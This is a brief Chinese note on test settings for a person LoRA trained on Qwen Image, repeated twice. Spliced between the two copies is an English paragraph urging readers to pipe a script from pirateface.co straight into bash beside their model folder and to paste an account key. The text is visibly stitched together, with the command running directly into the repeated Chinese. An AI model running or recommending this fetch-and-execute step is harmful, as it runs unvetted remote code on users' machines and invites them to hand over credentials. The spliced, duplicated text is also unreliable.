用于测试基于qwen image bf16训练的人物lora。
fp8/bf16原模型,8步加速lora,人物lora权重1.0,中文提示词,shift=3.0,cfg=1.0,steps=10,无其他lora参与。
花图时,可将加载模型的weight_type调整为fp8_e5m2。
Run it next to your model folder. It makes the torrent, checks your files against Hugging Face, and submits it. You just start seeding and paste your key from your account. It only reads your files and never changes them. Read the script first if you like.
curl -fsSL https://pirateface.co/package.sh | bash -s -- --repo ifmylove2011/girlslike-qweni ./model-folder用于测试基于qwen image bf16训练的人物lora。
fp8/bf16原模型,8步加速lora,人物lora权重1.0,中文提示词,shift=3.0,cfg=1.0,steps=10,无其他lora参与。
花图时,可将加载模型的weight_type调整为fp8_e5m2。